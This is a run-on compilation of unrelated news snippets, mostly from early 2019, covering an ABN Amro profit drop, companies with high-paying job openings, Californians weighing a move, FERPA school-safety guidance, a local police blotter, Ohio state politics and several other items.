Jay Box, President, Kentucky Community and Technical College System Walter Bumphus, President & CEO, American Association of Community Colleges Jim Clark, President & CEO, Boys & Girls Clubs of America Tim Cook, CEO, Apple Tom Donohue, CEO, U.S. Chamber of Commerce Juanita Duggan, President & CEO, National Federation for Independent Business Elizabeth Goettl, President & CEO, Cristo Rey Network Marillyn Hewson, Chairman, President, & CEO, Lockheed Martin Eric Holcomb, Governor, Indiana Barbara Humpton, CEO, Siemens USA Al Kelly, CEO, Visa Vi Lyles, Mayor, Charlotte, North Carolina Bill McDermott, CEO, SAP America Sean McGarvey, President, North America's Building and Trades Unions Doug McMillon, President & CEO, Walmart Craig Menear, Chairman, President, & CEO, Home Depot Michael Piwowar, Executive Director, Milken Institute Scott Pulsipher, President, Western Governors University Kim Reynolds, Governor, Iowa Ginni Rometty, Chairman, President, & CEO, IBM Scott Sanders, Executive Director, National Association of State Workforce Agencies Johnny C. Taylor, Jr., President & CEO, Society for Human Resource Management Jay Timmons, President & CEO, National Association of Manufacturers Sheree Utash, President, WSU Tech Marianne Wanamaker, Professor, University of Tennessee

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Watch: Tim Cook: Trade agreement needs to be updatedDutch bank ABN Amro on Wednesday missed analysts' expectations with a 42 percent fall in fourth-quarter net profit as loan impairments increased.

Net profit was 316 million euros ($358.2 million), compared with 542 million euros profit a year earlier, and an average expectations of 446 million euros in a Reuters poll of analysts.

Clifford Abrahams, chief financial officer of ABN Amro told CNBC Wednesday: "Q4 was operationally solid and steady...But we had a couple of specific items in Q4, we had some expenses and elevated impairments."

"But for the year as a whole, the bank is in good shape and you see we posted an ROE (return on equity) of 11 percent and we are confirming our guidance for 2019," he added.

Shares tanked to the bottom of the European benchmark shortly after the open, down by more than 6 percent.

Loan impairments soarded to 208 million euros from 34 million a year earlier, as shipping, oil services, jewellery and some other sectors continued to struggle despite a strong recovery in the Dutch economy and rising oil prices.

ABN Amro last year said it would limit trade and commodity finance operations in the offshore energy, diamond and shipping sectors, to improve profitability.

Net profit was also dented by 85 million euros in extra costs for the scrutiny of clients, as the bank stepped up its fight against money laundering and other criminal activities.

This followed a record $900 million fine paid by fellow Dutch bank ING Groep NV in September for failing to spot criminal activities financed through its accounts for years.Attendees at Amazon.com Inc annual cloud computing conference walk past the Amazon Web Services logo in Las Vegas, Nevada, U.S., November 30, 2017.

15. Wipro Technologies

Jobs available paying $100,000+: 855 Company mission statement: "To help create a new kind of professional services firm that works with both business and IT executives to innovate and deliver, end to end solutions that create measurable value for our clients." Headquarters: Bengaluru, India

14. Lockheed Martin

Jobs available paying $100,000+: 869 Company mission statement: "We solve complex challenges, advance scientific discovery and deliver innovative solutions to help our customers keep people safe." Headquarters: Bethesda, MD

13. Leidos Holdings

Jobs available paying $100,000+: 869 Company mission statement: "Leidos makes the world safer, healthier and more efficient through information technology, engineering and science." Headquarters: Reston, VA

12. Tata Consultancy Services

Jobs available paying $100,000+: 893 Company mission statement: "Our mission is to help customers achieve their business objectives by providing innovative, best-in-class consulting, IT solutions and services and to make it a joy for all stakeholders to work with us." Headquarters: Mumbai, India

Mandel Ngan | AFP | Getty Images

11. Verizon

Jobs available paying $100,000+: 935 Company mission statement: "Our mission: Verizon delivers the promise of the digital world by enhancing the ability of humans, businesses and society to do more new and do more good." Headquarters: New York City, NY

10. Banfield Pet Hospital

Jobs available paying $100,000+: 1,049 Company mission statement: "Quality. Responsibility. Mutuality. Efficiency. Freedom. These Five Guiding Principles provide the shared vision for each Banfield Pet Hospital." Headquarters: Vancouver, WA

9. CVS Health

Jobs available paying $100,000+: 1,125 Company mission statement: "Every one of us at CVS Health shares a single, clear purpose: helping people on their path to better health." Headquarters: Woonsocket, RI

8. Raytheon

Jobs available paying $100,000+: 1,178 Company mission statement: "Raytheon: One global team creating trusted, innovative solutions to make the world a safer place. Raytheon Company is a technology and innovation leader specializing in defense, civil government and cybersecurity solutions. Founded in 1922, Raytheon provides state-of-the-art electronics, mission systems integration, C5I products and services, sensing, effects and mission support services." Headquarters: Waltham, MA

7. Hospital Corporation of America (HCA)

Jobs available paying $100,000+: 1,187 Company mission statement: "We are committed to delivering healthcare as it should be: patient-centered and for the good of all people, no matter their circumstance. To achieve this, we must be active; we must be kind. We must work with integrity, share our skills and never stop learning." Headquarters: Nashville, TN

6. Apple

Jobs available paying $100,000+: 1,200 Company mission statement: "Apple designs Macs, the best personal computers in the world, along with OS X, iLife, iWork and professional software. Apple leads the digital music revolution with its iPods and iTunes online store. Apple has reinvented the mobile phone with its revolutionary iPhone and App store, and is defining the future of mobile media and computing devices with iPad." Headquarters: Cupertino, CA

The Visitor's Center at Microsoft Headquarters campus in Redmond, Wash. Stephen Brashear | Getty Images News | Getty Images

5. Microsoft

Jobs available paying $100,000+: 1,202 Company mission statement: "Our mission is to empower every person and every organization on the planet to achieve more." Headquarters: Redmond, WA

4. Facebook

Jobs available paying $100,000+: 1,209 Company mission statement: "Founded in 2004, Facebook's mission is to give people the power to build community and bring the world closer together. People use Facebook to stay connected with friends and family, to discover what's going on in the world, and to share and express what matters to them." Headquarters: Menlo Park, CA

3. Oracle

Jobs available paying $100,000+: 1,283 Company description: "Oracle offers a comprehensive and fully integrated stack of cloud applications, platform services, and engineered systems." Headquarters: Redwood City, CA

2. Infosys

Jobs available paying $100,000+: 1,361 Company mission statement: "Infosys International Inc. is dedicated to providing the people, services and solutions our clients need to meet their information technology challenges and business goals." Headquarters: Bengaluru, India

1. Amazon

Jobs available paying $100,000+: 1,818"There's no doubt that California's economy, for all of its strengths when it comes to innovation and creating these industries that people want to be part of, is struggling with high costs," said Aaron Terrazas, a senior economist with online real estate site Zillow. "Costs have gotten way ahead of incomes in California, and that's making a lot of people think about whether it's worth the hurdles."

Kotkin, who has researched California demographic and economic trends for decades, said he's astounded when he asks his Chapman students whether they think they'll be in the state in 10 years. "I would say the majority would say 'no,'  and many grew up in California," he said.

"California is a great, great place if you're young and ambitious and daddy's paying the rent," said Joel Kotkin, a presidential fellow in Urban Futures at Chapman University in Orange, California. "It's similar to New York with the same dynamic, and maybe more of it."

The online survey, conducted last month by Edelman Intelligence , found that 53 percent of Californians surveyed are considering fleeing, representing a jump over the 49 percent polled a year ago. The desire to exit the nation's most populous state was highest among millennials, the survey noted.

LOS ANGELES  A growing number of Californians are contemplating moving from the state  and not due to wildfires or earthquakes but the sky-high cost of living, according to a survey released Wednesday.

According to Edelman, 63 percent of millennials in the 2019 survey indicated they were considering a move from sunny California. The chief reason for dissatisfaction: housing.

When asked in general about what would make them leave California, 60 percent of millennials in the survey gave housing cost and availability as the reason. That was slightly higher than the general population (55 percent), although 65 percent of renters cited housing factors as a reason to leave.

Californians believe housing costs are four times more threatening to the state's economy than high health costs. Residents also consider crime and security as a top-three concern.

Terrazas said millennials in California who are "tired of renting and looking to settle down and buy a home are finding it's often out of reach for them." He said this is especially the case in coastal job centers of the state, whether Los Angeles County or the San Francisco Bay Area.

"California just doesn't strike them as reasonable," the economist said. "The state has consistently seen much faster home value appreciation than most of the country, and the same goes for rent until about two years ago. Rents have begun to slow down, ... although they remain at high levels."

Terrazas said Southern California has high housing costs and on average lower incomes than Northern California. "In some ways, Southern California is in much more dire straits," he said.

Even with higher average incomes in Silicon Valley, though, he said homebuyers now must spend about half of their pretax incomes on a monthly mortgage for a median home. The median home in the Silicon Valley market topped $1.2 million at the end of 2018, according to Zillow data.

Statewide, the median home value in California was $547,400 at the end of 2018, while the U.S. median home value was $223,900. By comparison, the median home value in New York state stood at $289,000 and $681,500 in New York City; New Jersey was $324,700.

The Edelman survey found 47 percent of Californians are considering moving out of the state in the next five years. Again, it found the rates among millennials were higher with 55 percent of them contemplating the move. And 57 percent of Californians with kids under 18 also were considering packing up and leaving in the next five years.

Chapman's Kotkin believes the next wave of discontent in California won't necessarily be focused on housing costs but taxes.

"Taxes are a real killer if you're upper middle class and whether you're a younger person trying to buy a house or you just want to be able to spend what you make," said Kotkin. "There's also concern among people looking to retire and having their income taxed into oblivion."

At 12.3 percent, California led the 50 states in 2018 with the highest top marginal tax rate, according to the Federation of Tax Administrators. And that doesn't include an additional 1-percent surcharge for those Californians with incomes of $1 million or more.

"The tax bill made it worse," Kotkin said, pointing out that the federal tax changes mean deductions for state, local and property taxes now get capped at $10,000. "State taxes have become a significant factor now. We're getting into a situation where the middle class in California really can't hack it."

Overall, the Edelman survey involved a total of 1,900 California residents and was conducted Jan. 4 to Jan. 20. It said results were weighted to the Census to be representative of the state's adult population.

A report from California's Legislative Analyst's Office last year indicated Texas, Arizona, Oregon and Nevada are popular destinations for relocating Californians. It also found families with kids and those Californians with only a high school education were most likely to flee to lower cost states than college-educated residents.

Finally, the survey found more than 60 percent of residents feel that the best days of living in California are behind instead of ahead. And a large number of residents are "ambivalent" toward tech as an engine of prosperity, the survey said.Workers eat lunch at a restaurant along K Street in downtown Washington, Monday, Jan. 28, 2019. Andrew Harnik | AP

Foot traffic falls

Gravy Analytics, a Dulles, Virginia-based firm, used anonymous location mobile data to analyze foot traffic to D.C.-area restaurants during the 35-day government shutdown. Traffic to fine-dining restaurants in the area dropped by about 33 percent compared with the same time period last year, founder and CEO Jeff White told CNBC. "When we look at it, the more discretionary the item, across the board in our data, the more of a precipitous hit it took," White said. Founding Farmers, a usually busy restaurant with locations in D.C., Maryland and Virginia, saw sales decline by 15 to 30 percent, co-founder Dan Simons told CNBC. Even fast-food restaurants, known for using deals and lower prices to attract customers, experienced a drop-off in business during the partial shutdown. Gravy Analytics found that the entire category saw foot traffic decline by 23 percent, while nationwide it increased by 2 percent compared with the same time last year.

Chick-fil-A takes a hit

Of the 12 fast-food restaurants it tracked, Chick-fil-A was the most affected by the shutdown. D.C.-area traffic dropped by 34 percent, while nationwide traffic increased by 9 percent. Starbucks and Arby's were the only other chains that saw foot traffic differences of more than 25 percent between D.C. and nationwide locations. Most fast-food chains that still saw traffic increase year-over-year in D.C., such as Dunkin' and Yum Brands' KFC and Taco Bell, still trailed far behind higher nationwide traffic growth.

Dairy Queen sees boostLOS ANGELES  In his first state of the state address on Tuesday, California Gov. Gavin Newsom proposed "a new data dividend" that could allow residents to get paid for providing access to their data.

"California's consumers should also be able to share in the wealth that is created from their data," Newsom said from the State Capitol in Sacramento. The Democrat said tech companies that "make billions of dollars collecting, curating and monetizing our personal data have a duty to protect it."

Newsom, who took office just over four weeks ago, also called for reeling in two big-ticket projects  the state's high-speed rail and proposed Delta twin tunnels.

The data dividend proposal follows the state legislature's passage last year of a landmark data privacy bill, granting consumers specific rights related to their personal digital information that's collected, shared or maintained by businesses. The legislation allows consumers to request that personal information be deleted and requires businesses that collect personal data to disclose how and why it's being used.

Newsom said his staff asked him to come up with the plan. He didn't provide details in his address, but some tech experts have suggested that companies like Facebook and Google should pay consumers for their data.

Democratic state Sen. Bob Hertzberg, who represents part of Los Angeles County and was one of the primary authors of the data privacy bill, described the plan as "the next frontier of the online and privacy conversation."

Representatives for Facebook and Google didn't respond to requests for comment."With regards to the trade war, I would say this  if you look at the long term, the trade deficit itself will reverse," he said on "Closing Bell." "I talk about [the] 300 million middle-class consumers that will continue to buy more from all over the world."

The trade deficit will shrink once the Chinese government begins purchasing $40 trillion worth of goods as promised over the next 15 years, he said. Even though President Donald Trump placed tariffs on imports in part to close the deficit, China's surplus topped $323 billion in 2018, the highest since 2006.

Alibaba co-founder Joseph Tsai told CNBC on Tuesday that the "structural issue" of the United States' trade gap with China will reverse itself as the Chinese ramp up imports.

China's economy is being powered by consumers, he said, and the Chinese middle-class consumer base could nearly triple by 2030. Tsai said there is a "symbiotic relationship" between American businesses with ties to China and vice versa.

Alibaba, the online marketplace in China, has been cashing in on the industry where last quarter it outgrew total e-commerce by "several percentage points," Tsai said. He pointed out that the platform carries a number of U.S. imports, such as juice from Ocean Spray and apples from Washington state. Last November, the executive chairman warned that a full-blown trade war between the countries would hurt many U.S. businesses that have ties to China.

The U.S. has tariffs on $250 billion worth of Chinese goods, while China has targeted duties on $110 billion worth of imports.

U.S. officials have indicated that negotiations have been productive but that a number of issues still need to be worked out.

Trump signaled on Tuesday that he would consider delaying his promise to hike tariffs on $200 billion worth of goods if a trade deal is not yet reached.

"We're always glass half full. We're in business, so we always hope for a benign environment," Tsai said. "We remain optimistic that there's going to be a resolution at some point."Clinton, IA (52732)

Today

Thunderstorms likely this morning. Then a chance of scattered thunderstorms this afternoon. A few storms may be severe. High 77F. Winds S at 10 to 20 mph. Chance of rain 60%..

Tonight

Variable clouds with scattered thunderstorms. A few storms may be severe. Low 67F. Winds S at 5 to 10 mph. Chance of rain 50%. 1 to 2 inches of rain expected.Submit a letter to the editor

The CJN provides an open forum for reader feedback and comments. Letters to the editor can be submitted via the form linked below, e-mailed to editorial@cjn.org or mailed to Letters, CJN, 23880 Commerce Park, Beachwood, Ohio 44122 (please type and double space, or write legibly). All submissions must include your full name, town of residency and daytime phone number (phone number will not be printed).

Submit a letterLori Alhadeff, mother of 14-year-old Alyssa Alhadeff who was one of 17 people killed at Marjory Stoneman Douglas High School, stands for a portrait in her home, on Wednesday, Jan. 30, 2019, in Parkland, Fla. The day of the shooting, she approached a line of reporters. She did not know what to say. But she felt compelled to speak. A crazy person just walks right into the school, knocked on the window of my childs door and starts shooting, shooting her and killing her, she screamed. President Trump, you say what can you do, you can stop the guns from getting into these childrens hands, put metal detectors at every entrance to the school.The U.S. Department of Education Tuesday sought to clear up confusion about how school privacy laws should be interpreted in the context of school safety with the release of a new frequently-asked-questions document that puts previous guidance and technical help on the Family Educational Rights and Privacy Act all in one place.

The new, comprehensive document, School Resource Officers, School Law Enforcement Units, and the Family Educational Rights and Privacy Act (FERPA) , builds on conclusions from the Federal School Safety Commission, which found that school districts seeking to bolster their safety efforts were confused about when and how they could share student information without violating FERPA. President Donald Trump established the school safety commission in the wake of the mass shooting at Marjory Stoneman Douglas High in Parkland, Fla., last February.

FERPA is an area where widespread confusion remains, and this clarification will give local school leaders and law enforcement the tools they need to protect student privacy while ensuring the health and safety of students and others in the school community, said U.S. Secretary of Education Betsy DeVos in a statement.

Parkland victims families argued that the shooter, a former student at the school, was not flagged as a potential threat because educators at Stoneman Douglas did not share his troubled history with law enforcement. Officials from Broward Schools, like those in other districts, have expressed reluctance to share such information because of federal student privacy law.



But FERPA includes an exception that allows districts to disclose personally identifiable information from a students educational record without parental consent to designated school officials determined to have a legitimate educational interest in the information, the commission noted. The commission argued that school resource officers could receive such information because they have a legitimate interest in school safety. The new FAQ makes it clear that law enforcement officials who are school employees can be considered under this exception, under certain circumstances. If a district has outsourced school safety to an outside law enforcement unit, SROs or off-duty officers who are employed by that unit may also be considered school officials, if certain conditions are met.

Whats more, the law includes an exception for health and safety emergencies, the guidance notes. And it makes it clear that law enforcement unit records are not the same as educational records and can be disclosed to outside parties without violating FERPA.

FERPAs health or safety emergency provision permits such disclosures when the disclosure is necessary to protect the health or safety of the student or other individuals, the FAQ says. This exception to FERPAs general consent requirement is limited to the period of the emergency and does not allow for a blanket release of [protected information] from a students education records. Rather, these disclosures must be related to a significant and articulable emergency, such as an impending natural disaster, a terrorist attack, a campus threat, or the outbreak of an epidemic disease.

The recommendations on FERPA were perhaps among the least controversial of the commissions conclusions. The panel also suggested that the Trump administration scrap Obama-era guidance that put schools on notice that they may be found in violation of federal civil rights laws if they enforce intentionally discriminatory rulesor even if their policies lead to disproportionately higher rates of discipline for students in one racial group or for students in special education, even if those policies were written without discriminatory intent.

And it encouraged school districts to take a hard look at arming specially selected and trained school staff.

Secretary of Education Betsy DeVos speaks at a news conference on March 7, in Coral Springs, Fla., following a visit to Marjory Stoneman Douglas High School.

--Lynne Sladky/AP

Follow us on Twitter at @PoliticsK12 .South Africa: SA urges ceasefire in Ukraine

South Africa has reiterated its stance that there must be an immediate cessation of hostilities in eastern Ukraine.

The continued violations of the ceasefire, including the presence of heavy weapons and their use, in violation of the Minsk Agreements, are of serious concern, said Ambassador Jerry Matjila, South Africas permanent representative to the United Nations, during his address at the Security Council meeting on the Ukraine.

Matjila said it was also concerning that the ongoing tensions and conflict were exacerbating the dire humanitarian conditions on the ground.

The parties need to ensure that there is an urgent de-escalation of tensions, through the implementation of the Minsk Agreements, to allow a situation that is conducive for the alleviation of the humanitarian crisis.

In this regard, it remains necessary for all parties to fully implement all of their respective commitments under the Minsk Agreements. At this point, the Minsk Agreements, including the package of measures agreed under Minsk II, provide the most promising roadmap for peace.

Matjila said it was also of critical importance that the parties refrain from actions that could be viewed as provocative, and which may further impede a peaceful resolution to the situation, in line with the Minsk Agreements.

Furthermore, it is important that the Special Monitoring Mission (SMM) to Ukraine is allowed unhindered access to monitor and verify compliance with the Minsk Agreements in line with its mandate.

South Africa, Matjila said, encourages the various parties to strengthen all diplomatic efforts to produce a sustainable and peaceful solution.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.It happened. Benjamin Netanyahu is no longer prime minister of Israel. After Netanyahus 12 years in office, it will take a while to get used to hearing the title prime minister followed by Naftali Bennett.UNIVERSITY HEIGHTS, Ohio -- Stolen auto, Washington Boulevard: Just after midnight Feb. 9, an officer attempted to stop a car to issue a citation for a traffic offense.

The car's driver did not stop and led police on a brief chase before crashing into a tree on East Antisdale Road. The man ran from the car and was not apprehended.

It was discovered that the car had been stolen from a Cleveland Heights address. Police processed the car for evidence and are investigating.

Expired license plates, Lansdale Road: At 9:10 a.m. Feb. 4, police stopped a car bearing illegal license plates. The driver, a Cleveland woman, 46, was cited for use of illegal plates and her car was towed.

Expired license plates, Washington Boulevard: At 6:15 p.m. Feb. 4, police stopped a car because a traffic violation had been committed. The driver, a Maple Heights man, 21, was cited for driving under suspension and for displaying expired plates. The man's car was impounded.

Assault, South Belvoir Boulevard: At 7:05 p.m. Feb. 5, a 23-year-old employee of Bellefaire JCB, 2575 S. Belvoir Blvd., reported that she had been assaulted by a a boy, 14, who resides at Bellefaire.

The employee stated that the assault took place on Feb. 3. The woman required medical attention.

Marijuana possession, Cedar Road: At 10:15 p.m. Feb. 5, police cited a University Heights man, 24, for possession of marijuana while at the Speedway gas station at 14458 Cedar Road.

Theft, Warrensville Center Road: At 1:50 p.m. Feb. 6, loss prevention at Macy's, 2201 Warrensville Center Road, detained a Cleveland woman, 55, for shoplifting $824 worth of handbags. The woman was cited for theft.

Theft, Cedar Road: At 2:15 a.m. Feb. 7, a Speedway employee reported that a man, about 55 to 65 years old, had stolen two cartons of cigarettes worth a total value of $155. Police are investigating.

Assault, Miramar Boulevard: At 8 a.m. Feb. 7, police were called to Heights Middle School, 2181 Miramar Blvd., where it was reported that a boy, 13, of Cleveland Heights, had attacked his teacher, a man, 43. Police are investigating.

Drug offense, Charney Road: At 8:45 a.m. Feb. 7, police were investigating a crash in which a car hit a tree, and took an inventory of the car. In the glove box, officers found suspected narcotics. The matter is being investigated.

Marijuana possession, Washington Boulevard: At 11:40 a.m. Feb. 8, an officer stopped a car that was being driven on a flat tire. The driver, a Cleveland man, 20, was cited for driving an unsafe vehicle and for possessing less than 100 grams of marijuana.

Expired license plates, Meadowbrook Boulevard: At 4:20 p.m. Feb. 8, a car showing expired plates was stopped. The driver, a Cleveland man, 30, was cited for the plate violation and for driving with an expired license. His car was towed.

Theft, Warrensville Center Road: Just after 5 p.m. Feb. 9, police were called to Macy's, where loss prevention had detained a Garfield Heights girl, 14, for shoplifting $105 worth of clothing. The girl was cited and turned over to her mother.

OVI, Cedar Road: At 1:20 a.m. Feb. 10, police stopped for a traffic violation a car driven by a Euclid man, 36. The man was found to be drunk and was cited for OVI.

If you would like to discuss the police blotter, please visit our crime and courts comments page.PARMA, Ohio  Its a long way from South Bend, Indiana to the White House, but for Mayor Pete Buttigieg, the pathway could be liberating.

If youre kind of a major, famous frontrunner, then I think youre going to think a lot about just the risk of doing something wrong, the risk of slipping up, Buttigieg said in an interview with cleveland.com Tuesday night. I think were less risk averse because we understand this is an underdog project.

Despite the Mt. Everest-like obstacles of jumping from mayor of a Midwestern city with a population of just more than 100,000 to leader of the free world, Buttigieg, 37, is seriously thinking about trying.

And he feels free to be himself.

During an appearance Tuesday night with the City Club of Cleveland at the Snow Branch of the Parma Public Library that resembled a TED Talk more than a campaign rally, Buttigieg was cerebral and direct. He read passages from his book, Shortest Way Home: One Mayors Challenge and a Model for Americas Future, recounting his unsuccessful 2010 bid for Indiana Treasurer, his decision to run for mayor of his hometown and his coming out as gay while holding the top office in South Bend.

Buttigieg is one of the several plucky, Midwestern possible-or-actual presidential candidates positioning themselves to be the voice of the down-on-their-luck voters victimized by economics and politics over the past three decades.

An unlikely national figure, Buttigieg, a Harvard graduate and Rhodes Scholar, was elected mayor of South Bend in 2011 and took office at age 29, the youngest mayor of a town of at least 100,000 in American history. While serving as mayor in 2014, he was deployed to Afghanistan in his capacity as a Naval Reserve lieutenant.

He rocketed onto the scene after running for chair of the Democratic National Committee in 2017, losing to former U.S. Labor Secretary Tom Perez. Since then, hes continued to build a national profile.

Its not so much that I set out to have a different style, I just come from a different place, Buttigieg said in his interview with cleveland.com. Im from a different generation than most of the people in this conversation. Im working in a different level of government, but one I would argue is no less relevant and possibly more relevant than being in the halls of Congress right now.

.@PeteButtigieg in Parma during @TheCityClub event asked about the 2020 Dem primary. pic.twitter.com/xJfmbJ5Hkq  Seth A. Richardson (@SethARichardson) February 13, 2019

Buttigieg said his path to victory would have to run through the early states. He readily admitted to being a longshot candidate, but in a field of 20 candidates, a longshot could succeed.

Early voting (in California) will be under way the day of the Iowa caucuses, he said. Thats new. I dont think that changes the fact that you start local and you start with the early states. It does mean you need to be able to kind of catapult very quickly on the strengths of what we hope would be a good showing in a state like Iowa.

And hes hoping to be a new and different alternative for voters.

I know that I have the Maltese-American gay millennial war veteran mayor lane all to myself, Buttigieg quipped to the crowd during his event in Parma. But even there  right?  the senator lane is crowded. I may not be the only mayor, if I get in, to be in the picture. Theres different generational candidates. Theres a left lane thats got a lot of folks in it.

Actually I think its healthy, he added. Were at this moment that I think is more than just an election. Its a realignment in American politics.Rotunda Rumblings

Obhofs Top 10: Ohio Senate President Larry Obhof on Tuesday unveiled how his caucus will keep themselves busy while the House debates the state budget. He and other Republican senators rolled out their first 10 Senate bills of the current legislative session. I would say overall, from top to bottom, if you take a look at the legislation that will be introduced today and in the coming weeks, we will be representing the values of the people of the State of Ohio, Obhof told reporters. The bills are:

Cutting regulations: Reduce Ohios regulations by 30 percent over the next three years. Obhof said he came up with the number after a study by the conservative Mercatus Center at George Mason University found that Ohio has about 100,000 more regulations than the average state.

Lake Erie: Fund a comprehensive, statewide plan for agriculture and water protection.

Criminal sentencing reform: Provide access to drug treatment and allow low-level, nonviolent offenders to re-enter the workforce. Obhof said the plan will be substantially based on the deal introduced by Franklin County Prosecutor Ron OBrien and Columbus City Attorney Zach Klein in response to last years State Issue 1.

School construction: Provide $100 million for new school construction.

Human trafficking: Increase criminal penalties for people convicted of promoting prostitution.

Safe families program: Allow parents facing a crisis, like a need for drug addiction treatment, to request that their children be sent to a temporary host family.

Military families: Allow military spouses to receive temporary professional licenses if their family is transferred to Ohio for active duty.

Opportunity zones: Add state incentives for those who invest in opportunity zones, low-income areas designated in the recent Republican federal tax plan.

Republican senators also will propose allowing small businesses to access certain health care claims information and increasing penalties for public officials convicted of theft in office.

New abortion bills: Two anti-abortion bills were introduced in the Senate Tuesday. Senate Bill 23, the latest version of the heartbeat bill sponsored by Sen. Kristina Roegner, bans abortion when a fetal heartbeat is detected. Mike Gonidakis of Ohio Right to Life said he plans to propose amending the criminal penalties to a fourth-degree felony, harsher than the current proposed fifth-degree. SB 27, sponsored by Sen. Joe Uecker, allows women to decide cremation or internment for surgically aborted zygotes, blastocytes, embryos, or fetuses. If the woman doesnt exercise the right to bury or cremate the fetus, then the abortion provider must.

Note: While the abortion restrictions werent one of the first 10 bills touted as a priority by Ohio Senate Republicans, Obhof said the fetal remains bill and the heartbeat bill are priorities for the Senate.

Take your seats: Obhof also unveiled a partial list of Senate standing committee assignments on Tuesday. State Sens. John Eklund and Bob Hackett will take over as chairs of the Judiciary and the Insurance and Financial Institutions committees, respectively. State Sens. Peggy Lehner and Dave Burke will continue to chair the Education Committee and Health, Human Services and Medicaid Committee, respectively. The remaining committee assignments are to be announced Wednesday.

Gas tax replacements? How would you feel about paying road taxes based on the number of miles you drive instead of how much gasoline you use? Thats one option being explored across the country as states try to find creative ways to deal with the cost of fixing crumbling roads, while recognizing that more cars are using less gasoline, or none at all. Ohio lawmakers are slow out of the gate at looking at alternatives, so cleveland.coms Rich Exner ran down the options being tried, from Oregon to London, England.

Getting down to business: The Ohio House Finance Committee will meet Wednesday to discuss the transportation budget. Committee members will hear testimony from Ohio Department of Transportation Director Jack Marchbanks, whose agency faces the highway funding gap. There will also be testimony from the Ohio Department of Public Safety. Members of the public can address the committee, although there will be future opportunities for additional public testimony, according to an aide for committee Chair Scott Oelslager.

On EDGE: Hundreds of businesses wrongly continued to participate in the states Encouraging Diversity, Growth and Equity (EDGE) program even though they were no longer eligible, the Ohio Inspector Generals office found. As cleveland.coms Jeremy Pelzer writes, the program managers explanation was that they didnt have the staff or the computer system needed to check whether the businesses were still eligible.

The latest take on Sherrod: Philip Wegmann of Real Clear Politics raises a question a lot of people have been asking  can Ohio U.S. Sen. Sherrod Brown carry the blue collar torch in 2020? Noting that strategists believe the key to a Democratic victory is winning back the blue wall states of Michigan, Wisconsin and Pennsylvania, Wegmann writes, Now a voice is calling out of that Midwest wilderness with a plan to return the party to the White House. With his gravelly delivery and his progressive retail politics, Sherrod Brown declares a gospel of liberal economic populism.

Portman questions tariff policy: Ohio Republican Sen. Rob Portman thinks the Trump administration has been too liberal in at least one respect: its willingness to use a rare national security waiver to impose tariffs on foreign goods. Cleveland.coms Sabrina Eaton reports that Portman, a former U.S. Trade Representative, has introduced legislation that would make it harder to invoke the waiver, with backing from U.S. auto companies who worry President Donald Trump will use the process to impose tariffs on foreign cars and auto components, raising car prices and reducing jobs.

Bush push: Now that former President George H.W. Bush has died, Portman wants the U.S. Treasury to mint a new $1 coin in his honor. Past deceased presidents through Ronald Reagan have already appeared on coins. On Tuesday, Portman introduced legislation with several colleagues to ensure his early boss and mentor gets the same tribute.

Team Trumps Ohio road trip: The Ohio Republican Party is hosting Trump allies Corey Lewandowski and David Bossie on a trio of visits in Ohio later this month. The two 2016 Trump campaign veterans will headline a series of fundraisers for the party in Youngstown and Cleveland Feb. 26 and Sandusky on Feb. 27. Lewandowski previously visited Cleveland during an appearance at the City Club in 2017.

Most Wanted: FBI Director Christopher Wray tapped Eric Smith, a native of Ohio, near Columbus, to be the special agent in charge of the Cleveland FBI office, cleveland.coms Eric Heisig writes.

Judging the judge: Franklin County Municipal Court Judge Amy Salerno, a former Republican state lawmaker, was reprimanded by the Ohio Supreme Court on Tuesday for two actions she agreed were improper: Communications with a defense attorney before reducing a defendants bond without the prosecution being involved, and changing her verdict in a case from guilty to not guilty after becoming frustrated with a prosecutor,reports the Dispatchs Randy Ludlow.

Five Questions

Kimberly Hall is the new director of the Ohio Department of Job and Family Services.

1. Of all jobs in state government, why did you take this one?

The most immediate appeal for me was the opportunity to partner with really talented and committed individuals, to have broad statewide impact on so many Ohioans who really need it.

2. What would you say your goals and priorities are?

"My goals certainly are to deliver on the promises that our governor made, as part of his campaign. More locally, I really want to spend time getting to know this agency and its work. And then also re-engage with stakeholders in our local communities.

3. Summit and Franklin County JFS have announced cuts to their budgets because of a decrease in state funding. Can you explain what happened?

"There was an interpretation from the prior administration around coding for certain reimbursements under Medicaid. Myself and [Ohio Department of Medicaid] Director [Maureen] Corcoran intend to sit down with a task force internally in the coming weeks to talk through approaches and solutions beyond July 1. The amount [of funding cuts] is certainly different for every county.

4. Food banks are saying that a new system to streamline the food stamp application process is making it harder for people to get food assistance. Do you agree with that? If so, what should be done?

Im getting up to speed with the concerns that the food banks have regarding the new system. I will saythe Ohio Benefits framework does provide a much more efficient and streamlined approach to the issuance of benefits.

5. Whats an interesting thing about you that people might not know?

I went to school in New York City originally with the hope that I would end up on Broadway. I landed in New York City, at Columbia [University], and fully intended to be like the next Debbie Allen. It didnt work out that way  I didnt do one audition at all. It turns out I had to study.

On the Move

Anthony Aquillo has joined The Success Group, the Columbus lobbying firm. He most recently served as a senior legislative aide to Sen. Matt Dolan.BirthdaysKelly Kefauver, Ohio Senate Dems policy adviser

Straight From The Source

While the President was giving a great speech in El Paso, Congress was putting together a bad deal on immigration. #DoWhatWeSaid"

-Conservative Republican U.S. Rep. Jim Jordan, co-founder of the Freedom Caucus, commenting on Twitter about the bipartisan congressional border security deal aimed at averting another government shutdown.

Capitol Letter is a daily briefing providing succinct, timely information for those who care deeply about the decisions made by state government. If you do not already subscribe, you can sign up here to get Capitol Letter in your email box each weekday for free.COLUMBUS, Ohio  The State Medical Board of Ohio on Wednesday gave an additional 39 doctors certificates to recommend medical marijuana.

Medical and osteopathic doctors with unrestricted licenses must apply to the board for the certificate to recommend medical marijuana. The board reviews the applications at its monthly meeting. Applying physicians complete a two-hour continuing medical education course as part of the application process.

Some users may need to use this link to search physicians by name and zip code.

Doctors can recommend medical marijuana to patients with any of 21 qualifying medical conditions.

State law requires physicians access the last 12 months of a patients prescriptions, and describe to the patient the risks and benefits of cannabis with their medical history and condition for which it is being recommended.

With the 39 new physicians, 413 doctors can recommend medical marijuana.CLEVELAND, Ohio  A subpoena served by corruption investigators on the administration of Cuyahoga County Executive Armond Budish seeks the complete email accounts belonging to Budish and several of his top executives, as well as the phone records of former Corrections Director Ken Mills.

The other officials whose email accounts are sought include Brandy Carney, chief of public safety and justice; Maggie Keenan, director of the Office of Budget and Management; Ed Morales, director of human resources and labor relations; and Douglas Dykes, chief talent officer.

The subpoena offers little indication as to what prosecutors are looking into, though Mills and Dykes were among three people indicted last month in connection with the probe.

